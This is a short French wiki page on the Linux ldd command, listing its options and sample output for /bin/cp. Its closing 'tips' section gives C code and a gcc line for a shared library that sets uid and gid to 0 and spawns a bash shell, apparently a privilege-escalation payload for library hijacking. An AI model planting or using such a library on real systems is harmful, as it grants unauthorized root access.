Ldd

De Linuxmemo.

Ldd is a Linux command line utility that is used in case a user wants to know the shared library dependencies of an executable or even that of a shared library.

ldd [OPTION]... FILE...

We can use ldd command switches that can be inserted into the [OPTION] spot in the above command:

   -v : Print all information.
   -d : process data relocation.
   -r : process data and function relocation.
   -u : print unused direct dependencies.

Exemple:

user@internet:~$ ldd /bin/cp
linux-vdso.so.1 (0x00007ffd975b5000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fd9ab5bc000)
libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fd9ab3b4000)
libattr.so.1 => /lib/x86_64-linux-gnu/libattr.so.1 (0x00007fd9ab1af000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd9aadbe000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fd9aab4c000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd9aa948000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd9aba07000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd9aa729000)

[modifier] Astuces

• compiler un .so "root"

vim libmy.c

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int welcome(){
   setuid(0);
   setgid(0);
   system("/bin/bash");
}

gcc -shared -o libmy.so -fPIC libmy.c